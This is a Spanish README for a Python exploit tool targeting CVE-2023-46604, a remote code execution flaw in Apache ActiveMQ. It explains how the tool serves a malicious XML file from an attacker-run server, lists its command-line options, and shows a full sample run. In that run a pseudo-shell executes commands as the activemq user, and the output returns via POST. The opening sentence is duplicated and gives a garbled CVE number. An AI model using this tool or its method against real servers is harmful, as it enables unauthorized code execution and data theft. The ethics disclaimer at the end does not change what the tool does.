
Este script aprovecha CVE-2023046604 (Apache ActiveMQ) para generar un pseudo shell. La vulnerabilidad permite la ejecución remota de código debido a una deserialización insegura dentro del protocolo OpenWire.
Este script aprovecha CVE-2023046604 (Apache ActiveMQ) para generar un pseudo shell. La vulnerabilidad permite la ejecución remota de código debido a una deserialización insegura dentro del protocolo OpenWire.
CVE-2023-46604 es una vulnerabilidad de deserialización que existe en el protocolo OpenWire de Apache ActiveMQ. Este fallo puede ser explotado por un atacante para ejecutar código arbitrario en el servidor donde se ejecuta ActiveMQ. Un atacante puede crear un archivo xml malicioso, cuyos comandos serán ejecutados por el servidor remoto.
Este exploit automatiza y abstrae el proceso de creación de documentos xml, proporciona un servidor básico para entregar el archivo y recibe información del servidor objetivo a través de POST. Esto permite una explotación continua sin necesidad de invocar un shell inverso o implementar un binario.
Antes de ejecutar el script de exploit, asegúrese de tener:
El script requiere:
Opcional:
usage: exploit.py [-h] -i IP [-p PORT] -si SRVIP [-sp SRVPORT]
optional arguments:
-h, --help show this help message and exit
-i IP, --ip IP ActiveMQ Server IP or Hostname
-p PORT, --port PORT ActiveMQ Server Port, defaults to 61616
-si SRVIP, --srvip SRVIP
Serve IP
-sp SRVPORT, --srvport SRVPORT
Serve port, defaults to 8080
$python3 exploit.py -i 10.129.230.87 -p 61616 -si 10.10.14.59 -sp 8080
#################################################################################
# CVE-2023-46604 - Apache ActiveMQ - Remote Code Execution - Pseudo Shell #
# Exploit by Ducksec, Original POC by X1r0z, Python POC by evkl1d #
#################################################################################
[*] Target: 10.129.230.87:61616
[*] Serving XML at: http://10.10.14.59:8080/poc.xml
[!] This is a semi-interactive pseudo-shell, you cannot cd, but you can ls-lah / for example.
[*] Type 'exit' to quit
#################################################################################
# Not yet connected, send a command to test connection to host. #
# Prompt will change to Apache ActiveMQ$ once at least one response is received #
# Please note this is a one-off connection check, re-run the script if you #
# want to re-check the connection. #
#################################################################################
[Target not responding!]$ whoami
activemq
Apache ActiveMQ$ ls -lah
total 164K
drwxr-xr-x 5 activemq activemq 4.0K Nov 7 12:50 .
drwxr-xr-x 11 activemq activemq 4.0K Nov 6 01:18 ..
-rwxr-xr-x 1 activemq activemq 21K Apr 20 2021 activemq
-rwxr-xr-x 1 activemq activemq 6.1K Apr 20 2021 activemq-diag
-rw-r--r-- 1 activemq activemq 17K Apr 20 2021 activemq.jar
-rw-r--r-- 1 activemq activemq 5.5K Apr 20 2021 env
drwxr-xr-x 2 activemq activemq 4.0K Nov 5 00:13 linux-x86-32
drwxr-xr-x 2 activemq activemq 4.0K Nov 5 00:13 linux-x86-64
drwxr-xr-x 2 activemq activemq 4.0K Nov 5 00:13 macosx
-rw-r--r-- 1 activemq activemq 82K Apr 20 2021 wrapper.jar
Apache ActiveMQ$
Este exploit se basa en el POC original en Go de X1r0z y el POC en Python de evkl1d.
Este código se proporciona únicamente con fines educativos y de pruebas de seguridad éticas. Debe utilizarse de manera responsable y solo en entornos donde se haya otorgado autorización explícita. El uso no autorizado o malintencionado está estrictamente prohibido. Al utilizar este código, usted acepta cumplir con todas las leyes, regulaciones y estándares éticos aplicables en su jurisdicción. Los creadores y colaboradores renuncian a cualquier responsabilidad por daños o consecuencias derivadas del mal uso o uso no autorizado de este código.